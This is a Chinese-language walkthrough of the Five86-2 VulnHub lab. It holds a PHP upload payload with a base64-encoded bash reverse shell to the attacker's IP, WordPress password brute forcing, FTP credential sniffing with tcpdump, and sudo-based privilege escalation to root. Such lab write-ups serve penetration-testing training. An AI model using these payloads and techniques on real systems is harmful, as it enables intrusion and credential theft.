

靶机地址: <https://www.vulnhub.com/entry/five86-2,418/>

描述

Five86-2是另一个专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验。

这项挑战的最终目标是扎根并读取唯一的标志。

必须具备Linux技能并熟悉Linux命令行,以及一些基本渗透测试工具的经验。

对于初学者来说,Google可以为您提供很大的帮助,但是您可以随时在@DCAU7上向我发送推文,以获取帮助,以帮助您再次入门。但请注意:我不会给您答案,而是给您一些前进的思路。

信息收集

```
nmap -sn 192.168.56.0/24
```

```
root@kali:~# nmap -sn 192.168.56.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-07 20:23 EST
Nmap scan report for 192.168.56.1
Host is up (0.00021s latency).
MAC Address: 0A:00:27:00:00:0D (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00024s latency).
MAC Address: 08:00:27:B9:2B:E9 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.117
Host is up (0.00050s latency).
MAC Address: 08:00:27:94:09:37 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 14.88 seconds
```

端口扫描

```
nmap -sS -sV -T5 -A -p- 192.168.56.117
```

```
PORT      STATE SERVICE VERSION
20/tcp    closed ftp-data
21/tcp    open  ftp    ProFTPD 1.3.5e
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_ http-generator: WordPress 5.1.4
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-title: Five86-2 &#8211; Just another WordPress site
MAC Address: 08:00:27:94:09:37 (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 2.6.32 - 3.13 (95%), Linux 2.6.22 - 2.6.36 (93%), Linux 3.10 - 4.11 (93%), Linux
), Linux 2.6.32 (92%), Linux 3.2 - 4.9 (92%), Linux 2.6.32 - 3.10 (92%), Linux 2.6.18 (91%), HP P2000 G3 NAS d
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Unix

TRACEROUTE
HOP RTT ADDRESS
1 0.60 ms 192.168.56.117
```

目录枚举

```
gobuster dir -u http://192.168.56.117 -w
/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-
directories.txt -x .php,.txt,.html
```

```

/wp-content (Status: 301)
/wp-admin (Status: 301)
/wp-includes (Status: 301)
/index.php (Status: 301)
/wp-trackback.php (Status: 200)
/wp-login.php (Status: 200)
/license.txt (Status: 200)
/server-status (Status: 403)
/readme.html (Status: 200)
/wp-config.php (Status: 200)
[ERROR] 2020/02/07 20:25:30 [!] parse http://192.168.56.117/error_log: net
/wp-signup.php (Status: 302)
/index.php (Status: 301)

```

ProFTDpro存在copy漏洞，访问80端口web服务

← → ↺ 📄 192.168.56.117 ...

斗鱼 - 每个人的直播...

[Skip to content](#)

Five86-2

Just another WordPress site

Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

🔍 查看器 📄 控制台 🐞 调试器 ↕ 网络 {} 样式编辑器 ⚡ 性能 🧠 内存 📁 存储 🟢 无障碍环境

🗑️ 过滤 URL || 🔍 🔒 所有 HTML CSS JS XHR 字体 图像 媒体

状态	方法	域名	文件	触发源头	类型	传输	大小	耗时	消息头
GET	five86-2	print.css?ver=1.3	stylesheet	0 字节	0...				请求网址: http://five86-2/wp-content/themes/twenty
GET	five86-2	jquery.js?ver=1.12.4	script	0 字节	0...				请求方法: GET
GET	five86-2	jquery-migrate.min.js?ver=...	script	0 字节	0...				Referrer 政策: no-referrer-when-downgrade
GET	five86-2	wp-embed.min.js?ver=5.1.4	script	0 字节	0...				🗑️ 过滤消息头

添加hosts即可

Five86-2 — Just another WordPress site

five86-2/index.php/2020/01/09/hello-world/

🔍 查看器 📄 控制台 🐞 调试器 ↕ 网络 {} 样式编辑器 ⚡ 性能 🧠 内存 📁 存储 🟢 无障碍环境

🗑️ 过滤 URL || 🔍 🔒 所有 HTML CSS JS XHR

状态	方法	域名	文件	触发源头
200	GET	five86-2	print.css?ver=1.3	styleshe
200	GET	five86-2	jquery.js?ver=1.12.4	script
200	GET	five86-2	wp-emoji-release.min.js?ver=5.1.4	script
200	GET	five86-2	jquery-migrate.min.js?ver=1.4.1	script
200	GET	five86-2	wp-embed.min.js?ver=5.1.4	script

wpscan扫一扫

```
[i] User(s) Identified:

[+] barney
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] peter
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] admin
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] gillian
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] stephen
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
```

暂时没别的思路，尝试密码爆破

```
wpscan --url http://192.168.56.117 -U user.txt -P
/usr/share/wordlists/rockyou.txt
```

应该能得到账号密码

```
Barney:spooky1
Stephen: apollo1
```

```
[*] Performing password attack on Xmlrpc against 5 user/s
[*] Trying stephen / 143637 Time: 00:13:12 < > (40305 / 71721960) 0.05% ETA: ??:??:??
```

但是我kali跑的实在是太慢了。。

barney账户登录

Dashboard

Posts

Media

Pages

Comments

Plugins 3

Profile

Tools

Collapse menu

All (3) | Active (1) | Inactive (2) | Update Available (3)

Bulk Actions Apply

Plugin	Description
<input type="checkbox"/> Akismet Anti-Spam Activate	Used by millions, Akismet is quite possibly the best way in the world to protect your get started: activate the Akismet plugin and then go to your Akismet Settings page t Version 4.1.1 By Automatic Visit plugin site
There is a new version of Akismet Anti-Spam available. View version 4.1.3 details or update now .	
<input type="checkbox"/> Hello Dolly Activate	This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generati Hello, Dolly. When activated you will randomly see a lyric from Hello, Dolly in the up Version 1.7.1 By Matt Mullenweg Visit plugin site
There is a new version of Hello Dolly available. View version 1.7.2 details or update now .	
<input type="checkbox"/> Insert or Embed Articulate Content into WordPress Trial Deactivate	Quickly embed or insert e-Learning content into a post or page no matter if you use Elucidat, Gomo, Obisidian Black, MindManager, or any other tool. Learn more about Version 4.2995 By Brian Batt Visit plugin site How to Use Upgrade to Premium
There is a new version of Insert or Embed Articulate Content into WordPress Trial available. View version 4.29997 details or update now .	

Bulk Actions Apply

exploit搜下

WordPress Plugin Insert or Embed Articulate Content into WordPress - Remote Code Execution

EDB-ID:
46981

CVE:
N/A

Author:
XULCHIBALRAA

Type:
WEBAPPS

Platform:
PHP

Date:
2019-06-11

EDB Verified: ✖

Exploit: 📄 / {}

Vulnerable App: 📄

Become a Certified Penetration Tester

Enroll in Advanced Web Attacks and Exploitation , the course required to become an Offensive Security Web Expert (OSWE)

GET CERTIFIED

exploit写的很清楚

```
echo "<?php phpinfo();system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMS8xMjM0IDA+JjEK|base64 -d |bash'); ?>" > index.php
echo "<html>hello</html>" > index.html
zip poc.zip index.html index.php
```

e-Learning

/wp-content/uploads/articulate_uploads/poc97/index.html

REMOVE

CHOOSE ANOTHER

192.168.56.117//wp-content/uploads/articulate_uploads/poc97/index.php

PHP Version 7.3.11-0ubuntu0.19.10.1

System	Linux five86-2 5.3.0-26-generic #26
Build Date	Oct 24 2019 11:38:49
Server API	Apache 2.0 Handler
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc/php/7.3/apache2
Loaded Confiauration File	/etc/php/7.3/apache2/php.ini

getshell

```
root@kali:~/five86-2# nc -lvvp 1234
listening on [any] 1234 ...
192.168.56.117: inverse host lookup failed: Unknown host
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.117] 41764
bash: cannot set terminal process group (984): Inappropriate ioctl for device
bash: no job control in this shell
www-data@five86-2:/var/www/html/wp-content/uploads/articulate_uploads/poc97$
```

提权

获取shell之后要做的第一件事是使用Python获取一个tty，不然有些命令是无法执行的。

```
python -c 'import pty; pty.spawn("/bin/bash")'
# 有些没有安装Python2，所以需要换成python3 -c 'import pty;
pty.spawn("/bin/bash")'
```

```
#查看其他用户
cat /etc/passwd
```

```
#内核提权
uname -a
```

```
查找sudo权限命令
sudo -l
#SUID权限可执行文件，没有可用的
find / -perm -u=s -type f 2>/dev/null
#当前用户可写文件，发现一堆，但是极大多数都是没用的，所以我先把结果输出到文本
文件，然后使用grep加上关键字去筛选。
find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys' /tmp/report.txt
#查看计划任务
cat /etc/crontab
#查看邮件
cd /var/mail/
ls
```

上面的执行都没啥进展，之前还存在stephen账户密码，su切换

```
su stephen
apollo1
python3 -c 'import pty;pty.spawn("/bin/bash")'
getcap -r /2>/dev/null
```

```
stephen@five86-2:/var/www/html/wp-content/uploads/articulate_uploads/poc97$ tcpdump -D
<content/uploads/articulate_uploads/poc97$ tcpdump -D
1.br-eca3858d86bf [Up, Running]
2.eth0 [Up, Running]
3.veth27cb22f [Up, Running]
4.lo [Up, Running, Loopback]
5.any (Pseudo-device that captures on all interfaces) [Up, Running]
6.docker0 [Up]
7.nflog (Linux netfilter log (NFLOG) interface) [none]
8.nfqueue (Linux netfilter queue (NFQUEUE) interface) [none]
```

```
timeout 150 tcpdump -w cap.pcap -i veth27cb22f
```

```
stephen@five86-2:/tmp$ timeout 150 tcpdump -w cap.pcap -i veth27cb22f
timeout 150 tcpdump -w cap.pcap -i veth27cb22f
tcpdump: listening on veth27cb22f, link-type EN10MB (Ethernet), capture size 262144 bytes
52 packets captured
52 packets received by filter
0 packets dropped by kernel
```

```
tcpdump -r cap.pcap
```

```
02:38:11.748096 IP five86-2.51228 > 172.18.0.10.ftp: Flags [P.], seq 1:12, ack 58, win 502, options [n
4], length 11: FTP: USER paul
02:38:11.748123 IP 172.18.0.10.ftp > five86-2.51228: Flags [.], ack 12, win 510, options [nop,nop,TS v
0
02:38:11.748616 IP 172.18.0.10.ftp > five86-2.51228: Flags [P.], seq 58:90, ack 12, win 510, options [
19], length 32: FTP: 331 Password required for paul
02:38:11.749061 IP five86-2.51228 > 172.18.0.10.ftp: Flags [.], ack 90, win 502, options [nop,nop,TS v
0
02:38:11.749119 IP five86-2.51228 > 172.18.0.10.ftp: Flags [P.], seq 12:33, ack 90, win 502, options [
35], length 21: FTP: PASS esomepasswford
02:38:11.749122 IP 172.18.0.10.ftp > five86-2.51228: Flags [.], ack 33, win 510, options [nop,nop,TS v
0
02:38:11.759908 IP 172.18.0.10.ftp > five86-2.51228: Flags [P.], seq 90:115, ack 33, win 510, options
820], length 25: FTP: 230 User paul logged in
02:38:11.759928 IP five86-2.51228 > 172.18.0.10.ftp: Flags [.], ack 115, win 502, options [nop,nop,TS
0
02:38:11.759960 IP five86-2.51228 > 172.18.0.10.ftp: Flags [P.], seq 33:41, ack 115, win 502, options
946], length 8: FTP: TYPE I
02:38:11.759971 IP 172.18.0.10.ftp > five86-2.51228: Flags [.], ack 41, win 510, options [nop,nop,TS v
0
02:38:11.760065 IP 172.18.0.10.ftp > five86-2.51228: Flags [P.], seq 115:134, ack 41, win 510, options
5831], length 19: FTP: 200 Type set to I
02:38:11.760071 IP five86-2.51228 > 172.18.0.10.ftp: Flags [.], ack 134, win 502, options [nop,nop,TS
0
```

```
stephen@five86-2:/var/www/html/wp-content/uploads/articulate_uploads/poc97$ su paul
<p-content/uploads/articulate_uploads/poc97$ su paul
Password: esomepasswford

paul@five86-2:/var/www/html/wp-content/uploads/articulate_uploads/poc97$ sudo -l
<p-content/uploads/articulate_uploads/poc97$ sudo -l
Matching Defaults entries for paul on five86-2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User paul may run the following commands on five86-2:
    (peter) NOPASSWD: /usr/sbin/service
paul@five86-2:/var/www/html/wp-content/uploads/articulate_uploads/poc97$ id
id
uid=1006(paul) gid=1006(paul) groups=1006(paul),1010(ncgroup)
```

```
sudo -u peter service ../../bin/sh
```

通过上面的帮助命令，我们能够以彼得身份访问shell。

```
<e_uploads/poc97$ sudo -u peter service ../../bin/sh
$ id
id
uid=1003(peter) gid=1003(peter) groups=1003(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lxd),1010(ncgroup)
$ sudo -l
sudo -l
Matching Defaults entries for peter on five86-2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User peter may run the following commands on five86-2:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/passwd
$
```

有个nopassword修改密码，那么直接修改密码即可

```
$ sudo passwd root
sudo passwd root
New password: gqy

Retype new password: gqy

passwd: password updated successfully
$ su root
su root
Password: gqy

root@five86-2:/# cd /root
cd /root
root@five86-2:~# ls
ls
snap  thisistheflag.txt
root@five86-2:~# cat thisistheflag
cat thisistheflag
cat: thisistheflag: No such file or directory
root@five86-2:~# cat thisistheflag.txt
cat thisistheflag.txt
```

Congratulations - hope you enjoyed Five86-2.

I also want to send out a big thanks to all those who help me with beta testing

<https://www.hackingarticles.in/five86-2-vulnhub-walkthrough/>